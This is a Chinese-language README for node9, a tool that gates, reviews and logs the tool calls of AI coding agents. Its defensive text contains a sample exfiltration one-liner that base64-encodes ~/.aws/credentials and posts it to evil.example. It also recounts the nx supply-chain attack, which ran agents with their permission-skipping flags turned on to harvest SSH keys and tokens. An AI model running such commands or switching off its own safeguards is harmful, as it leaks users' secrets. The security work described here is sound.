为你的 AI 代理提供 IAM。设定 Claude Code、Codex、Gemini、Cursor 以及任何 MCP 服务器被允许执行的操作,在风险操作运行前进行审查,并记录每一个操作。
凭据牢笼 · 机密与 PII · 破坏性 git、SQL 和 shell 被拦截待审 · MCP 工具固定 · 网络出口允许列表 · 循环中断器 · 跨十二个代理的统一记录
兼容 Claude Code · Codex CLI · Antigravity (agy) · GitHub Copilot CLI · Gemini CLI · Cursor · Windsurf · VSCode · Claude Desktop · Opencode · Pi · Hermes Agent · 任何 MCP 服务器。
左边是你的代理,右边是 node9。代理发起的每一次工具调用在执行前都会被检查:允许并记录、拦截等待你的批准,或阻止。
这里的代理是以 --dangerously-skip-permissions 启动的,而 node9 依然说了算。
node9 monitor: live tool calls, decisions, shields and score
brew tap node9-ai/node9 && brew install node9 # macOS / Linux
npm install -g node9-ai # any platform
然后,在任意项目中:
node9 init # finds your agents and MCP servers and puts node9 in front of every tool call
node9 posture # scores this machine 0-100: what a compromised agent could read, reach and run
node9 login # optional: adds this machine to a shared dashboard
需要 Node.js 22+。
init 就是整个产品。 它会写入钩子、开启凭据牢笼和常驻规则,并立即开始执行。不会有任何数据离开本机,也不需要账户。
login 不会增加任何执行能力。 它只是把本机连接到一个工作区,让团队可以在所有人的笔记本电脑和 CI 上看到统一记录、集中设置策略,并从仪表盘或 Slack 批准被拦截的操作。跳过它,node9 依然完全一样地独立、离线运行。node9 logout 会再次断开连接,本地执行继续运行。
2025 年 8 月,被入侵的
nx 构建工具发布版本附带了一个安装后脚本,它会查找开发者机器上已安装的 AI 编码代理,然后关闭它们自身的安全标志(--dangerously-skip-permissions、--yolo、--trust-all-tools)来运行它们,以枚举 SSH 密钥、云凭据和钱包文件,并将列表写入磁盘。该脚本将结果推送到受害者自己 GitHub 账户下的公开仓库。超过一千个有效的 GitHub 令牌泄露,连同云凭据、npm 令牌和大约 20,000 个文件,都来自那些代理只是在按指令行事的机器。
代理不是攻击者。代理是工具,而在它和文件之间没有任何东西。node9 的关卡不是那些标志之一:它运行在钩子中,而它拦截的操作即使代理以跳过权限的方式启动,也依然会被拦截。
node9 位于代理和它调用的每个工具之间。凭据牢笼(~/.ssh、~/.aws、.env 文件、私钥)默认开启,读取其中任一路径都不会执行。
代理会被停止,被告知原因,决定权交给你:
NODE9: Action blocked by security policy.
INSTRUCTIONS:
- Do NOT retry this exact command or attempt to bypass the rule.
- Pivot to a non-destructive or read-only alternative.
- Inform the user which security rule was triggered and ask how to proceed.
命令会作为 shell AST 解析,而不是作为文本匹配,所以包装读取也无济于事。
echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example 会被判定为读取 ~/.aws/credentials,而不是 echo。
node9 是一道关卡。被拦截的操作在等待你期间不会运行,如果你始终不回应,它就会一直保持阻止。其他一切都被允许并写入记录。
它不做什么: 在出口控制关闭时(这是默认设置),像 curl -d @~/.aws/credentials 这样把文件直接交给网络的命令,不会被当作对该文件的读取。node9 egress protect 也会对目标进行把关,而且它只覆盖 shell 命令。
以下内容都不需要账户,也不会上传任何东西。
npx node9-ai scan # every past agent session on this machine
npx node9-ai scan-repo node9-ai/agent-security-demo # a public repo with a real, hijackable agent workflow
gh attestation verify cli.js --repo node9-ai/node9-proxy # every release artifact is signed
node9 scan scorecard
每一行是一项能力,并附有记录它的页面。文档是参考;本文件是地图。
| 凭据牢笼 | ~/.ssh、~/.aws、.env 和私钥对所有工具都被阻止,而不仅仅是 shell | docs |
| 常驻规则 | 破坏性 git、没有 WHERE 的 SQL、curl | bash 和未经授权的 sudo,无需配置 | docs |
| 机密与 PII | 任何工具参数中的 AWS 密钥、GitHub 和 Stripe 令牌、PEM 密钥以及卡号或 SSN 格式,外加对代理写回内容的背景扫描 | docs |
| 按服务防护 | 为 Postgres、MongoDB、Redis、AWS、Kubernetes、Docker、GitHub 和文件系统精心整理的规则包 | docs |
| 内联审查 | 被拦截的操作会在代理对话中询问你,或通过团队审批人 | docs |
| 出口允许列表 | 把关 shell 命令可以向哪里发送数据,默认关闭 | docs |
| MCP 网关 | 包装任何 MCP 服务器,为每个工具授权,并固定工具定义,使服务器无法在你背后更改它们 | docs |
| 沙箱 | 在带有内核出口允许列表和限定挂载的容器中运行代理 | docs |
| 态势评分 | 这台机器的暴露程度,以及修复每项发现所用的命令 | docs |
| 仓库扫描 | 在 CI 中或从 CLI 查找外部人员可劫持持有你机密的代理的工作流 | docs |
| 会话历史 | 读取每个代理在这台机器上已经做过的事,早于 node9 安装之前 | docs |
| 实时监控与报告 | 终端仪表盘,以及成本、工具、拦截和影响范围的窗口化摘要 | docs |
| 技能固定 | 会话之间对已安装 Claude 技能和插件进行 SHA-256 验证 | docs |
完整 CLI 和配置参考:node9.ai/docs。 各层如何协同:工作原理。
背景阅读,独立成篇。每一页都会说明 node9 不覆盖什么。
uses: node9-ai/node9-proxy@v2,用同一引擎把关每个 PRnode9 Pro 增加了治理锁定、SAML/SSO、集中审计导出和 VPC 部署。参见 node9.ai。
Apache-2.0
用 ☕ 和健康的偏执构建。
| 金丝雀凭据 | 植入的假密钥,用于证明发生了外泄尝试 | docs |
| Python SDK | 管控任何 Python 代理,而不仅是 CLI | docs |